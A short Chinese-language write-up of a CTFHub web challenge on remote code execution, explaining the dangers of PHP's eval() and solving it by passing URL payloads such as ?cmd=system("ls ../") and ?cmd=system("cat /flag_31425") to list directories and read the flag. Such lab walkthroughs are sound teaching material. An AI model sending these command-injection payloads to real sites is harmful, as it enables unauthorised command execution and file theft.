CTFHUB-技能树-Web题-RCE（远程代码执行）

eval执行

题目给出代码

先来看看eval函数是干什么用的

eval():把字符串 code 作为PHP代码执行。函数eval()语言结构是 非常危险的， 因为它允许执行任意 PHP 代码。 它这样用是很危险的。 如果您仔细的确认过，除了使用此结构以外 别无方法, 请多加注意，不要允许传入任何由用户 提供的、未经完整验证过的数据 。

解题方法：

结合该题出现在RCE板块，果断试一试在url里面get一下

构造网址，查找当前目录文件

?cmd=system("ls");切记输入；

并没有发现flag,接着查看上一级目录

?cmd=system("ls ../");

没有发现flag,耐心点

接着查看上一级

?cmd=system("ls ../../");

接着查看上一级目录，

?cmd=system("ls ../../../");
我们发现了flag_31425的存在。

此时就用?cmd=system(“cat /flag_31425”);打开目录下的flag。

system()函数：执行系统命令并输出执行结果。
?cmd=system("ls /");查看根目录，